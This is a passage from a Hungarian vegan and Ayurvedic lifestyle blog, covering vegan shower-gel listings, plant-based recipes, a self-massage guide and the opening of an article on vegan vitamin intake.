sorbate, Ascorbic acid, Citric acid, Limonene Vegán típusok: Málna és vanília, Teafa és mentol, Lime, Kókusz, Narancsolaj és gyömbér, Levendula, Csokoládé és menta, Menta és teafa, Citrom és teafa, Grapefruit, Kókusz Hol kapod? DM, Müller Ár: kb. 600 Ft / 250ml Sante Naturkosmetik vegán tusfürdők Összetevők: (típustól függő) Aqua, Lauryl Glucoside , Coco-Glucoside , Sodium Coco-Sulfate, Aloe Barbadensis Leaf Juice, Glycerin, Inulin, Sodium Chloride, Glyceryl Oleate , Sorbitol , Citric Acid, Polyglyceryl-10 Laurate , Betaine , Sodium Cocoyl Glutamate, Disodium Cocoyl Glutamate, Lycium Barbarum Fruit Extract, Citrus Limon Peel Extract, Levulinic Acid, p-Anisic Acid, Phytic Acid, PCA Ethyl Cocoyl Arginate , Sodium Levulinate , Parfum , Limonene , Citral Típusok: Goji bogyó és citromkivonat, Gránátalma kivonattal, Mályvavirág kivonattal, Sheavajjal, Citrom és papaya kivonattal Hol kapod? DM, Müller Ár: kb. 2000 Ft Speick men vegán tusfürdők Összetevők: Aqua, Sodium C14-16 Olefin Sulfonate, Cocamidopropyl Betaine, Glycerin, Sucrose Cocoate, C12-13 Alkyl Lactate, Hydrolyzed Wheat Protein, Hydrolyzed Wheat Gluten, Panthenol, Valeriana Celtica Extract, Salvia Officinalis Extract, Parfum, Sodium Sulfate, Sodium Chloride, Sodium Benzoate, Potassium Sorbate, Citric Acid, Alcohol ,Citral, Limonene, Linalool Hol kapod? Müller Ár: kb. Ft Terra Naturi vegán tusfürdők Összetevők: Aqua, Helianthus Annuus Hybrid Oil, Coco-Glucoside, Cetearyl Alcohol, Glyceryl Stearate Citrate, Glycerin, Caprylyl Caprylate, Tocopherol, Punica Granatum Seed Oil, Parfum, Disodium Cocoyl Glutamate, Chondrus Crispus Powder, Polyglyceryl-10 Laurate, Xanthan Gum, Sodium Cocoyl Glutamate, Sodium Cocoate, Sodium Benzoate, Glyceryl Caprylate, Potassium Sorbate, Limonene, Linalool, Citric Acid, Sodium Chloride Vegán típusok: Aloe vera és kókusz, Narancs és menta, Vadrózsa és mandula, Lime, Gránátalma, Kakaó és vanília Hol kapod? Müller Ár: kb. 600 Ft The Body Shop erőszakmentes tusfürdők A The Body Shop cég büszkén vállalja, hogy semmilyen termékét és termékeinek összetevőit sem tesztelik állatokon, ezzel az értelmetlen állatkínzás ellen foglalva állást. Ugyanakkor, ha vegán vagy érdemes odafigyelned, mivel számos termékük tartalmaz állati összetevőket, főleg mézet. Hol kapod? The Body Shop Ár: kb. 1600 Ft és 4500 Ft között Treaclemoon vegán tusfürdők Összetevők: (illattól függő) Aqua, Sodium laureth sulfate, Cocamidopropyl betaine, Cocamide DEA, Sodium chloride, Glycerin, Pardum, Phenoxyethanol, Sodium benzoate, Potassium sorbate, Styrene/acrylates copolymer, Citric acid, Xanthan gum, Polyquaternium-7, Coumarin. Vegán típusok: Kókusz, eper, vanília, levendula, mangó, citrom Hol kapod? Müller, Tesco Ár: kb. 800 Ft / 500ml Amennyiben hiányosnak találod a cikket, illetve tudomásod van egyéb vegán vagy erőszakmentes tusfürdőről, kérlek jelezd felém! A Vegán tusfürdők cikket körülbelül fél évente tervezem frissíteni árakkal és termékekkel. Legutolsó frissítés 2016 március.
Gyors, élesztőmentes zöldséges, fűszeres, magvas kenyér
2016. március 11. Élj harmóniában
Élesztőmentes zöldséges, fűszeres, magvas kenyér A blogon már több kenyér receptet adtam közre eddig. A jóga táplálkozásban nem fogyasztunk élesztőt (hogy miért nem részletesen itt olvashatsz róla) , így a kenyerek vagy laposak vagy szódabikarbónával vagy sütőporral készítem. Az így készült élesztőmentes kenyérnek nem csak az az előnye, hogy egészségesebb, de nagyon gyorsan elkészíthető - nem kell hosszasan dagasztani, keleszteni. Ma egy sárgarépás-karfiolos napraforgómagos vegán kenyeret készítettem. A zöldséges kenyér nagyon jól megy akár hummusszal, sajtkrémmel, fűszeres tejföllel . Hozzávalók: 180g búzafinomliszt 120g teljes kiőrlésű búzaliszt 3/4 tk. szódabikarbóna 1 tk. sütőpor csipet barna nádcukor 1 tk. szárított bazsalikom 30 g napraforgómag 180 ml kókusztej (lehet más növényi tej is vagy joghurt) 1 sárgarépa lereszelve 1 marék nagyon apróra vágott karfiol só, feketebors Keverd össze a száraz hozzávalókat a fűszerekkel, sóval, borssal egy tálba. Majd add hozzá a zöldségeket és a magvakat. A hozzávalók közepébe készíts egy mélyedést és öntsd bele a kókusztejet (ha nem vagy vegán joghurtot is használhatsz helyette). Óvatosan gyúrd össze a tésztát - figyelj, hogy ne túl sokáig, csak annyira, hogy összeálljon. Majd formálj belőle cipót és helyezd 200 fokra előmelegített sütőbe. Süsd készre( kb. 30 perc). Vegyszermentes (bio) alapanyagokat használj!
Mandulás granola
2016. március 11. Éltető ételek
Annyira szeretem ezeket a granolákat, roppant egyszerű elkészíteni, és a lehetőségek is végtelenek. Elnézem a bolti müzlik árait, hát... vétek annyi pénzt adni érte, még ha szuper egészségesek is. Hiszen mi magunk is el tudjuk készíteni. A müzli esetében egyszerűen össze kell keverni az alapanyagokat, a granola készítése során pedig egy picit a sütőben is megpirítjuk ezeket. Ennyi... :) ... és most nézzük ennek a mandulás granolának a receptjét. Hozzávalók: - 25 dkg zabpehely (apró- és nagyszemű vegyesen) - 10 dkg mandula (törjük, vágjuk apróra) - 5 dkg napraforgó - 3 dkg szezámmag - 5 dkg kókuszreszelék (kénmentes) - 4 dkg kókuszolaj (olvasztva) - 5 dkg juharszirup vagy méz - 5-6 csepp szárított, őrölt narancshéj Elkészítése: Mindent mérjünk ki, keverjünk jól össze és egy zsírpapírral kibélelt tepsibe tegyük bele.Előmelegített sütőben, 160 fokon kb. 30 percig pirítgassuk. Időközben néhányszor forgassuk át.A tepsiben hagyjuk kihűlni, majd keverjük hozzá az őrölt narancshéjat. Egy jól záródó dobozba, üvegbe tárolhatjuk.Tipp: Fokozhatjuk a kókuszízt, ha finomítatlan, természetes (nem illatmentes) kókuszolajat használunk. Ebben az esetben a kedvencem a PlanetBio kókuszolaja.
Édeskömény serpenyőben sütve
2016. március 9. Élj harmóniában
Nagyon szeretem az édesköményt, mert különleges aromája van és nagyon jó az állaga is. Gyakran fogyasztom nyersen is, de sütve is nagyon finom. Hozzávalók: 3 édeskömény gumó 2 ek. ghí (vegán változatban kókuszzsír) 1/4 tk. római kömény 1/2 tk. őrölt koriander egy pici gyömbér lereszelve só bors Szedd cikkekre az édesköméynt és jól mosd meg, majd vágd apró darabokra. A száraiból, amik puhábbak, és még zöld is van rajtuk, azokat is használd fel:) Egy serpenyőben tedd oda a ghít, majd ha felmelegedett tedd bele a római köményt, amikor picit megpirult tedd hozzá a koriandert és a gyömbért. Add hozzá az édesköményt, majd forgasd egy picit a serpenyőben. T egyél hozzá egy pici vizet, hogy elkezdjen az édeskömény puhulni - egyszerre mindig csak pici vizet tegyél hozzá, hogy a víz gőzében puhuljon a zöldség. A mikor már majdnem megpuhult hagyd elfő ni a vi zet és és süsd le. A végén sózd és borsozd meg. Ez a zöldségétel nagyon jó könnyű ebédnek vagy vacsorának valamilyen gabonafélével. pl. baszmati rizzsel, k usz-kusszal vagy quinoával. Vegyszermentes (bio) alapanyagokat használj!
Hogyan végezz otthoni ájurvédikus önmasszázst
2016. március 8. Élj harmóniában
Az Ájurvédában ősi tudománya és minden ősi kultúra nagyon fontosnak tartja a test rendszeres, természetes növényi olajokkal történő átmasszírozását. Ez az ájurvéda reggeli teendőinek egyike - korábbi bejegyzésben már részletesen írtam egy másik reggeli teendőről a szájhigéniáról (itt olvashatod) A rendszeres olajos masszázs áldásos hatásai: - serkenti a vérkeringést - megnyugtatja az idegrendszert - erősíti az izomzatot - erősíti az emésztőrendszert - serkenti a belső szervek működését - javítja a bőr állapotát és serkenti a bőr hormontermelését is - fiatalító, regeneráló hatású - védőréteggel látja el bőrödet, ami megóv a hideg szárító hatásától és az intenzív napsugárzástól is. Az önmasszázshoz a legjobb, ha érlelt szezámolajat használsz, mert az könnyebben felszívódik bőrön keresztül. Vegyszermentes (bio) jó minőségű szezámolajat vásárolj. A szezámolaj érlelése nem más, mint az olajat öntsd egy edénybe, majd forrósítsd fel lassú tűzön 100 fokosra és utána kapcsold le. Figyelj arra, hogy ne legyen túl forró. A legegyszerűbb, ha egy csepp vizet teszel az edénybe és ahogy melegszik, amikor látod hogy a csepp elindul felfelé és egyfajta pukkano hangot ad - akkor érted el a 100 fokotJ Használhatsz konyhai hőmérőt is. Jól záródó üvegben tárold az olajat és minden masszázs előtt csak annyit vegyél ki, ami a masszázshoz szükséges. Annyi olajra lesz szükséged, ami ahhoz kell, hogy a bőröd kellemesen sima legyen az olajtól. A szükséges mennyiséget, akár forró vízbe állítva vagy kis tálba radiátorra téve melegítsd fel mielőtt használnod. Naponta öt-tíz percet vesz igénybe az önmasszázs. Ha nincs elegendő időd, akkor akár csak az arc, fül területét, kezed lábad masszírozd át. Már a legkisebb dologgal is sokat tehetsz magadért. Menstruáció első néhány erőteljesebb napján ne végezz olajos masszázst. Amennyiben a szezámolaj irritálná a bőröd, helyette olíva-, kókusz-, vagy édesmandula-olajat is használhatsz. Zsíros bőr, túlsúly és renyhe anyagcsere esetén ritkábban alkalmazd az olajos önmasszázs és inkább részesítsd előnyben gharsan selyem kesztyűvel végezz masszázst. A masszázst meleg helyiségben végezd. A masszázst meleg helyiségben végezd. Hogyan végezd el az önmasszázst? Simogató és körkörös mozdulatokkal masszíroz. Olyan erővel masszírozz, ami határozott, de kellemes érzés. Általános elv, hogy a karokat, lábakat hosszirányú mozdulatokkal masszírozzunk, az ízületeket körkörös mozgással. Fej, arc, fülek Kezd a masszázst a fejbőrre. A tenyereddel kis, körkörös mozdulatokkal masszírozd a fejbőrödbe. Majd a füleket masszírozd át az ujjaiddal finoman fel-le. Különösen a fül hátsó oldala és a fül mögötti, haj nélküli részek alkalmasak a váta megnyugtatására. Az arcodat először keresztirányba kezd átsimítani a homlokon, aztán folytasd körkörös mozdulatokkal a halánték és az arccsont felé. Az állon ismét a homlokhoz hasonlóan keresztirányú simításokat végezzünk. Végül az orr két oldalát középső ujjaddal masszírozd fel és le. Nyak, vállak, karok Majd a tarkód masszírozd a vállaktól kiindulva fel és le, a nyakon csak gyengéden simító mozdulatokat végez mindkét kézzel, felváltva, lentről felfelé. Masszírozd át a vállad körkörösen, majd a felkart hosszanti irányban, majd a könyék körkörösen és az alkar szintén hosszanti irányban. Végül a csuklódat körkörösen masszírozd. Az ujjakat egyenként simítsd végig a körmök irányába. Mellkas, has, hát, fenék A hasi területet s a felsőtestet gyengéden masszírozd. A mellkas két oldalán és a mellen (nőknél a mell körül) inkább körözve, a szegycsont fölött óvatosan és nyugodtan fel és le simítva. A mellkasod után masszírozd amennyire eléred a hátad és a feneked tenyérrel fel-le lassú elnyújtott mozdulatokkal. Térdek, lábak, lábfejek Masszírozd át a combokat hosszanti irányban, majd a térdnél körkörösen és az alsó lábszárt szintén hosszanti irányban. Majd a bokádat körkörösen masszírozd. Térj át a sarkaidra, masszírozd át őket, majd az achillest simítsd fel-le, majd dörzsöld a lábfejedet gyors, erős mozdulatokkal. A lábujjakat és a lábujjak közét masszírozd át az ujjaiddal. Végül a talpadat és a lábfejedet egyidejűleg masszírozd át. Az olaj néhány perc után beszívódik a bőrödbe. Ha van időd masszázs után várj 10 percet. A masszázs után vegyél meleg zuhanyt - természetes szappannal, tusfürdővel könnyedén el tudod távolítani az olaj jelentős részét, de bőröd a kellemes puha tapintása megmarad. Ez a réteg védelmet nyújt a bőröd számára a nap során.
Grillezett padlizsán hasáb"burgonyával"
2016. március 6. Éltető ételek
Nagyon szeretem az egyszerű zöldséges ételeket, nos... ez is egy ilyen. A padlizsánt egyszerűen bepácoltam majd grilleztem, a krumpli helyett pedig zeller és sárgarépa lett hasábolva. Igazán ízletes, érdemes kipróbálni. Tökéletes vacsora ötlet. Hozzávalók (2 főre): - 1 duci padlizsán - 2 közepes zeller - 2 sárgarépa - pác elkészítését itt találod Elkészítése: A padlizsánt mosd meg, szeleteld fel úgy 3-4 mm vastagra, és pácold be. Hagyd állni 10-20 percig, de minél tovább tudod, annál jobb.A zeller és a sárgarépát hasáboló szeletelővel vágd fel.Egy kerámia serpenyőt hevítsd fel, tegyél bele 1 evőkanál kókuszolajat. Tedd bele a zeller és a sárgarépát, de csak annyit, hogy ne legyenek egymáson. Pirítsd 4-5 percig, majd forgasd meg. Süsd minden oldalát ropogósra.Szedd ki, majd sózd meg. ha van medvehagymád, akkor szórd meg vele.A padlizsán mindkét oldalát pici olajon (vagy a sütőben) grillezd meg.Pici citrommal locsold meg.Készíts hozzá egy adag zöldsalátát. Jó étvágyat!
Citromos almás muffin quinoa liszttel (gluténmentes)
2016. március 4. Élj harmóniában
Citromos almás muffin quinoa liszttel (gluténmentes) Szeretek kísérletezni a konyhában és mivel nagyon olcsón sikerült quinoa liszte t vásárolni, így most jönnek a próbálkozások. Ez a muffin nagyon jó illatú és nagyon ízletes lett - a quinoa liszt és a kókuszliszt fantasztikus eredményt hozott együtt. A muffin papírból is szépen ki tudtam szedni, pedig aggódtam sikerül- e. Hozzávalók 1,5 csésze quinoa liszt 1/2 csésze kókuszliszt 1/2 csésze datolyacukor (teljes értékű nádcukrot is használhatsz helyette) 2 tk. sütőpor 1 tk. szódabikarbóna 1/4 tk. fahéj 1/4 tk, vanília 1 citrom héja 1/4 csésze kókuszolaj 3 ek. lenmagliszt 12 ek. víz 1 csésze víz 1 csésze megtisztított apróra vágott alma csipet só A lenmaglisztet öntsd le 12 ek. vízzel és hagyd állni egy picit - ez fogja összetartani a tésztád. (A "tojás helyettesítéséről" egy korábbi bejegyzésben részletesen írtam már itt olvashatod) Egy tálban keverd össze a liszteket, sütőport, szódabikarbónát, fűszereket. Majd keverd hozzá a citromhéját, kókuszzsírt, add hozzá a lenmaglisztes keveréket és végül a vizet. A vi zet adagold apránként és figyeld a tésztád állagát. Az egészet keverd gyorsan össze. Amikor elkeverted a tésztát, beleteheted kis almadarabokat és összeforgathatod. Majd egy muffin formába (ha szükséges tegyél bele muffin papírt -12 muffin lesz ebből a mennyiségből) adagold bele a tésztát. Tedd 180°C fokra előmelegített sütőbe és süsd amíg aranybarnára sül. (kb. 20-25p) Vegyszermentes (bio) alapanyagokat használj!
Kávés kókusztekercs
Az eredeti ötletet Nóritól hoztam, épp csak piciket változtattam rajta! Első kóstolásra szerelem lett ;) Áztatott dióval szerettem volna csinálni a kávés részét, de elfelejtettem beáztatni a diót :D Sebaj, makrobiotikából emlékszem még, hogy pirítva is kimennek belőle az enzimgátlók, és nem lesz keserű ;) Ennél jobb nem is történhetett volna vele, remekül ment az pirított […]
Szerethető lencsefőzelék
2016. február 29. Éltető ételek
Nagyon szeretem a főzelékeket, az elkészítésüket sosem viszem túlzásba. Egy dolog, amire következetesen figyelek, hogy ezek tej- és gluténmentesen készüljenek el. Ennek megvalósítása nem olyan nehéz, hiszen a búzaliszt helyett kukorica-, zab- vagy rizslisztet használok, a tejföl helyett pedig növényi tejszínt, Így is ugyanolyan ízletes lesz, sőt... :) A hüvelyesekből készül főzelék készítése egy kis tervezést igényel, ugyanis ezeket 8-10 órára be kell áztatni. Érdemes már este átgondolni a másnapi menüt, és ez alapján gondoskodni az alapanyagok előkészítéséről. Amennyiben húsmentesen táplálkozol, akkor a hüvelyesek remek választás a hús helyettesítésére, hiszen fehérjékben gazdag, és a helyes komplettálással teljes értékű fehérjét tudunk "előállítani". Hozzávalók: - 30 dkg barna lencse - 3 babérlevél - késhegynyi őrölt kömény - himalája só, bors - 1 evőkanál kukoricaliszt - 1 evőkanál kókuszolaj - 1 közepes fej vöröshagyma - 3 gerezd fokhagyma - 1 teáskanál pirospaprika Kiegészítés - főtt parbolied vagy barna rizs - grillezett kápia paprika és lilahagyma Elkészítése: - A lencsét áztassuk be 1 éjszakára. - Másnap mossuk át, majd tegyük fel annyi vízbe főzni, hogy úgy 2 ujjnyira ellepje. - Tegyük hozzá a babérlevelet, és főzzük puhára. Kb. fél óra elteltével lehet megsózni, és még vagy 20 perc, és készre is fő. Időközben azért figyeld a vizet, ha szükséges, kicsit pótolhatod. - Kókuszolajon pirítsuk meg az apró kockára vágott hagymát, majd reszeljük hozzá a fokhagymát is. Szórjuk rá a lisztet, pár kavarás, majd mehet hozzá a pirospaprika is. Ekkor már vegyük le a tűzről. - A lencsén lévő vizet ellenőrizd, nehogy nagyon híg legyen a főzelék. Add hozzá a hagymás-paprikás lisztet, és főzd össze. - Kóstold meg, ha szükséges, akkor még fűszerezd, és már készen is van.
Sütőben sült fűszeres karfiol
2016. február 26. Élj harmóniában
Sütőben sült karfiolMostanában elég gyakran szerepel nálunk az étlapon a karfiol. Részben mert nagyon egészséges, szeretjük az ízét és jelenleg ebben a a kicsit esősebb, nyálkásabb időben ideális étel a szervezet egyensúlyának megteremtésére. A karfiol nagyon változatosan készíthető el, nem is tudom hányféle formában szoktuk fogyasztani. Ma egy sütőben sült változatot készítettem, amit mi nagyon szeretünk, mert nagyon ízletes a sült, fűszeres ízek és hozzá ropogós, de mégis puha állag:. A recepthez szárított fűszereket használtam. Hozzávalók: 1 fej közepes karfiol 1/4 tk asafoetida (2 gerezd zúzott fokhagymát használhatsz helyette) 1 ek. bazsalikom 1 tk. oregánó 1 tk. kakukkfá 1/2 tk. rozmaring só bors néhány evőkanál olívaolaj (lehet ghí vagy kókuszzsír) A karfiolt mosd meg és szedd rózsáira.Tegyél fel egy fazékban vizet és ha felforrt rövid időre helyezd bele a rózsákat - éppen, hogy csak picit puhuljanak. Melegítsd elő a sütőt 200 fokra. Egy hőálló tálba öntsd bele az olajat és add hozzá a szárított fűszereket, majd ízlés szerint sód és borsozd meg. Keverd össze alaposan, majd tedd hozzá a karfiolt és jól forgasd bele, hogy mindenhol érje a fűszeres olaj. Majd helyezd a karfiolt a sütőbe és addig süsd , maíd a tejet meg nem pirul és a karfiol finom puha lesz. Kurkumás baszmati rizzsel, hajdinával vagy kuszkusszal tálalhatod. Tehetsz a tetejére tejföld is:) Vegyszermentes (bio) alapanyagokat használj!
Sütőben sült zöldséges köleskása
2016. február 25. Élj harmóniában
Sütőben sült zöldséges köleskásaA köles nagyon sok ásványi anyagot tartalmaz és nagyon kedvezően befolyásolja az emésztést, helyreállítja a gyomor- és bélműködést, segít csökkenteni a vér koleszterinszintjét, táplálja a szöveteket, kitűnő energiával látja el a testet, erősíti az immunrendszert. Ájurvéda elsődlegesen kapha típusúak számára ajánlja. Ilyenkor a tél végén ideális étel mindenki számára. Fogyókúrázóknak különöse jó csemege, mert laktató, így csökkenti az étvágyat és az édesség megkívánását. Gluténmentes, így jól illeszthető gluténmentes diétába. Nagyon jó köretnek vagy kásának, egytálételnek édesen vagy sósan egyaránt. Ez egy egyszerűen elkészíthető köles kása. Leginkább azért egyszerű, mert minden hozzávalót csak be kell helyezni egy hőálló tálba felönteni vízzel és betenni a sütőbe. Utána már csak annyi dolgod van, hogy elfogyasztod:) Hozzávalók: 4*1/3 csésze köles 16*1/3 csésze forró víz 2 sárgarépa 1,5 csésze megtisztított, rózsáira szedett karfiol 1,5 csésze megtisztított, rózsáira szedett brokkoli 1 tk. oregánó 1 tk. bazsalikom 1/2 tk kakukkfű csipet rozmaring só bors 10 dkg vaj (vegán változatban kókuszzsír) Készítsd elő a zöldségeket pucold meg aprítsd fel és tedd félre. A kölest mosd meg egy szűrőbe - addig amíg a víz szép áttetsző nem lesz. A hőálló tálat vajazd ki és szórd bele a köles , a fűszereket és a zöldségeket. Keverd össze jól, majd öntsd fel négyszeres mennyiségű forró vízzel. az egészet. 180 fokra előmelegített sütőben addig süsd, amíg a köles felszívja a vizet (kb. 1 óra) a teteje pedig picit pirulni kezd. Tálalhatod magában vagy tejföllel, joghurttal is. Vegyszermentes (bio) alapanyagokat használj:)
Karfiol-zöldborsó masala
Hozzávalók: 3 ek olaj 4 ek friss, reszelt kókusz (ha nincs, jó a szárított is) 1,5 ek reszelt friss gyömbér egy csokor korianderlevél apróra vágva 3/4 kk kurkuma 2 kk őrölt koriander 1 kk őrölt chili 1,5 kk római kömény 1/2 kk asafoetida 1 fej karfiol rózsáira bontva 30 dkg mélyhűtött zöldborsó 1...
Mogyorós müzliszelet 3.0
2016. február 13. Éltető ételek
Újabb verzió a müzliszelet készítése során. Próbálom kevésbé zsírosra és édesre készíteni, így ebbe kevesebb olajos mag és méz került. Sőt, ez kifejezetten fehérje bomba lett, mert került bele puffasztott quinoa, zabpehely, kendermag, és még mogyoróvaj is. Ez nem lett olyan kemény, mint az előző verzió, de így is szépen összeállt és szeletelhető is volt. Hozzávalók: - 10 dkg nagyszemű zabpehely - 10 dkg apószemű zabpehely - 3 dkg puffasztott quinoa - 5 dkg kendermag - 5 dkg napraforgómag - 5 dkg mogyoró - 10 dkg dió - 5 dkg mazsola - 5 dkg méz - 5 dkg Rapunzel mogyoróvaj - 5 dkg kókuszvirágcukor - 5 dkg kakaóvaj - 1 kávéskanál vaníliapor - 1 bio narancs reszelt héja Elkészítése: A zabot és az apróra tört olajos magokat (diót, mogyorót, napraforgót), tegyük be a sütőbe. Kb. 130 fokon pirítsuk kb. 15-20 percig.A sütőből kivéve adjuk hozzá a kendermagot, a quinoát és a mazsolát.Közben egy edénybe tegyük bele a mogyoróvajat, a mézet és a kókuszvirágcukrot. Melegítsük össze, majd mehet bele a kakaóvaj is. Nagyon nehezen elegyedik, ebben az esetben vegyük le a tűzről, és öntsünk hozzá egy pici vizet. Gyors keverés, és már kész is az édes krém. Reszeljük bele a narancs héját és szórjuk bele a vaníliaport is.Egy nagyobb tálba tegyük a zabos keveréket, és öntsük rá a mogyoróvajas masszát. gyors mozdulattal keverjük össze, majd egy folpackkal kibélelt jénaiba jó alaposan nyomkodjuk bele. Tegyük be a hűtőbe 1-2 órára, majd szeletelhető is.
Hagymás sörös párolt savanyú káposzta
2016. február 12. Vegán lettem
Párolt savanyú káposzta, hagyma és sör. Külön-külön mindegyik nagy kedvencem és együtt olyan kiváló összhangba kerülnek, amit nem nagyon lehet semmihez sem hasonlítani.
A savanyú káposzta és főleg a párolt savanyú káposzta az év és a nap bármely szakában és minden mennyiségben jöhet. Kalóriaszegény magas rosttartalmú mivolta miatt vacsorára néha képes vagyok csak azt enni magában. Nyomelemekben és vitaminokban gazdag, közkedvelt köretnek számít Európa több országában. Sok kísérletezés után a natúrnak mondható magyar párolt káposztát kicsit “csehesítettem”, és sörrel valamint hagymával dobtam fel. Érdemes a kis hazánkban is kapható, de Csehországban főzött sörökből választani mert megítélésem szerint sokkal finomabb az ottani, mint a hazai sörök. Azt zárójelben megjegyzem, hogy nem feltétlen azért finomabbak mert nagyobb hagyománya van a cseheknél a sörfőzésnek, hanem mert sokkal jobb minőségű vízből készül. Én a cseh söröket mindig a Serfőző Kocsmából szerzem be, a Primátor sör pedig teljes mértékben vegán, azaz nem halak hólyagjait használják a szűréshez. Na de lássuk hogyan készül a hagymás sörös párolt savanyú káposzta.
Hagymás sörös párolt savanyú káposzta hozzávalók
1kg savanyú káposzta
2 fej lila hagyma
1 póréhagyma
1tk fűszerkömény
2tk paprika
2tk bors
4dl világos sör (a cseh Primátor prémium világos sörét használtam most)
2 marék bulgur
só
kókuszzsír
Hagymás sörös párolt savanyú káposzta elkészítése
Vágd apróra a két fej lila hagymát és a póréhagymát. Tegyél egy nagyobb edénybe kókuszzsírt, hevítsd fel, majd öntsd bele a felszeletelt hagymát, sózd meg igény szerint és hagyd pirulni. Miután szépen összeesett a hagyma, tedd rá a savanyú káposztát, keverd össze a káposztát a hagymával és tedd rá a babérlevelet, a paprikát, a borsot és a fűszerköményt, majd öntsd fel 2-3dl vízzel. Néha keverd meg és ha elpárolgott a hozzáadott víz, akkor 1-1 dl-enként adj hozzá mindig csak éppen annyit, amennyit a káposzta el tud főni. Amikor elkezd puhulni a leendő párolt savanyú káposzta, adjunk hozzá 2dl világos sört, majd hagyjuk tovább párolódni. Amikor már közel késznek érezzük, akkor tegyük bele a maradék 2dl világos sört és a két marék bulgurt. Miután a bulgur megpuhult, vegyük le a tűzről, hagyjuk hűlni és fogyasszuk főételként vagy köretként.
Én sült krumplit és szójás olívaolajban sült tofu szeleteket készítettem mellé. Gyors, egyszerű és laktató ebéd. Jó étvágyat!
Vegán isler
2016. február 11. Mindennapi ételeink
Egyik kedvenc édességem az isler, és most elkészítettem vegánul. Nagyon finom. Főzőkörön mutattuk be egyébként, még a tavalyi évben ezt a süteményt, csak akkor nem készült róla fotó. Hozzávalók: A tésztához: 10 dkg por nyírfacukor 20 dkg bio margarin 15 dkg finomliszt 15 dkg teljes őrlésű liszt 6 g foszfátmentes sütőpor 1/2-1dl növényi tejszín lekvár a tészta ragasztásához A mázhoz: 6 evőkanál víz 3 evőkanál karobpor 3 evőkanál növényi tejpor 2 evőkanál kókuszolaj 3-4 evőkanál méz / szirup 3-4 evőkanál víz mandula / dió Elkészítés: A tésztához való anyagokat összegyúrjuk, lisztezett gyúródeszkán fél cm-esre kinyújtjuk, sima szélű kiszúróval korongokat szúrunk ki, sütőlemezre rakjuk, majd 220 fokon világosra sütjük. Két korongot lekvárral összeragasztunk, majd egyenként bevonjuk a karobmázzal. Lehetőleg a fogyasztást megelőző napon készítsük el, hogy legyen ideje a tésztának megpuhulni, és a máz megköthessen. A máz elkészítése: A vizet felforraljuk, bele tesszük a tejport és a karobot, majd a mézet is. Ezzel vonjuk be a lekvárral megtöltött ischlereinket. A karobmázra tehetünk mandulát vagy diót.
Mákos rizskocka
A múltkoriban láttam a barátném bioboltjában néhány -számomra- újdonságot. Valamiért teljesen lázba hozott a barnarizs dara :) Bár nem vagyok gluténérzékeny, és másra sem, de mindenképp ki kellett próbálnom ;) Tejet nem iszom, így kókusztejport tettem bele. Csak ajánlani tudom ;) Hozzávalók: 2 dl forrásvíz 2 ek barnarizs dara 2 tk kókusztejpor 1 csipetnyi só […]
Vegán étrend, vitaminok és nyomelemek
Hogyan képes a vegán étrend a szervezetnek megfelelő mennyiségű vitamint biztosítani? Hogyan viszi be egy vegán a megfelelő mennyiségű vasat, ha nem eszik húst? Könnyebben mint hinnéd! Mindazonáltal, hogy a vegán életmód nem a táplálkozásról szól, mégis érdemes számos cikket és bejegyzést szentelni a témának, mert ez a legelső olyan társadalmi becsípődés, melyen sokan fennakadnak. A sokaság azt gondolja, hogy a vegán étrenden élők vérszegények, gyengék, betegeskednek. Holott a tapasztalat az ellenkezőjét mutatja. Milyen tápanyagok bevitelére kell figyelni vegán étrend esetén? Az amerikai Andrews University Táplálkozástudományi Tanszék igazgatója, Winston Craig egy tanulmányban írta meg, hogy a tudatosan összeállított vegán étrend magasabb arányban tartalmaz C és E-vitamint, magnéziumot és vasat, folsavat valamint rostokat, ugyanakkor kisebb a B12 és D-vitamin, a kalcium és cink, a telített zsír, valamint a kalória tartalma , mint a mindenevő étrendnek. Sok olyan támadás éri a vegán étrendet, miszerint nem lehet teljes életet élni hús, tojás és tejtermékek nélkül. Ugyanakkor kutatások sora bizonyította – és többek között az Amerikai Dietetikai Szövetség, valamint Kanadai Dietetikusok is kijelentették – , hogy nemtől és kortól, valamint életciklustól függetlenül egészséges és teljes értékű életet lehet élni vegán étrend esetén is. Tudományosan elfogadott tény, hogy a vegán táplálkozás jobb minőségű zsiradékot, a belek számára kielégítő mennyiségű rostot, a testi valamint mentális munkához szükséges komplexebb szénhidrátokat tartalmaz, mint a mindenevő étrend. Vegán étrend és a vitamin bevitel Az egészséges szervezet egyik pillére, a megfelelő mennyiségű és változatos vitamin bevitel. Életvitelünktől és életciklusunktól függően van szüksége szervezetünknek különböző arányban vitaminokra és nyomelemekre. Vegyük sorba először a vitaminokat, valamint azok növényi forrásait. Vegán étrend és az A-vitamin: A zsírban oldódó A-vitamin nagyon fontos szerepet tölt be a sejtek egészséges működésében, a csontnövekedésben, valamint gátolja a sejtek deformálódását, roncsolódását. Ajánlott napi bevitel 900 és 1500 ug között mozog, de terhesség és szoptatás esetén 2-2,5 mg-ra is megnövekedhet ez az igény. Magas A-vitamin tartalmú zöldségek: főtt édesburgonya (11,5mg/100g), főtt sárgarépa (10,2mg/100g), leveles zöldségek (6mg-14mg/130g), sült tök (6,7mg/100g), aszalt barack (7,6mg/100g), sárgadinnye (2mg/100g), kaliforniai paprika (1,8mg/100g), valamint a búzafű, spirulina, grapefruit, goji, chlorella alga, mangó, papaja Vegán étrend és a B-komplex: B-komplexnek hívják azt a vízben oldódó vitamincsoportot, mely az összes B-vitamint tartalmazza: B1 (thiamin), B2 (riboflavin), B3 (niacin), B5 (pantoténsav), B6 (piridoxin), B7 (biotin), B9 (folsav) és B12 (kobalamin). Ezek mindegyikére szükségünk van és mindegyik vitaminnak megvan a maga funkciója a szervezetben. Ugyanakkor együttesen járulnak hozzá a sejtek optimális növekedéséhez és osztódásához, támogatják az anyagcserét, egészségesen tartják a bőrt, valamint erősítik az immunrendszert és idegrendszert, védenek a stressz káros hatásai ellen. Ha B-komplex táplálékkiegészítőt szedünk figyeljünk oda, hogy fénytől és fagytól védve tároljuk, mivel a B2 fény hatására, illetve a B6 fagy hatására veszti el hatását. Érdemes még megjegyezni, hogy a B6 felszívódását segíti a B12. A sörélesztő tartalmazza az összes B-vitamint a B12 aktív típusán kívül. Növények, melyek tartalmazzák a B-komplex sort: dió, leveles zöldségek, gabonafélék, banán Vegán étrend és a B12-vitamin: A B12 egy vízben oldódó, baktériumok által termelt vitamin, mely növényi étrenddel elenyésző mértékkel vihető csak be. A B12 hozzájárul a normális idegműködéshez, közrejátszik a vörösvértestek kialakulásában és a DNS szintézisben is többek között. Tartós hiánya visszafordíthatatlan idegi alapú károsodást okozhat és nagyon fontos 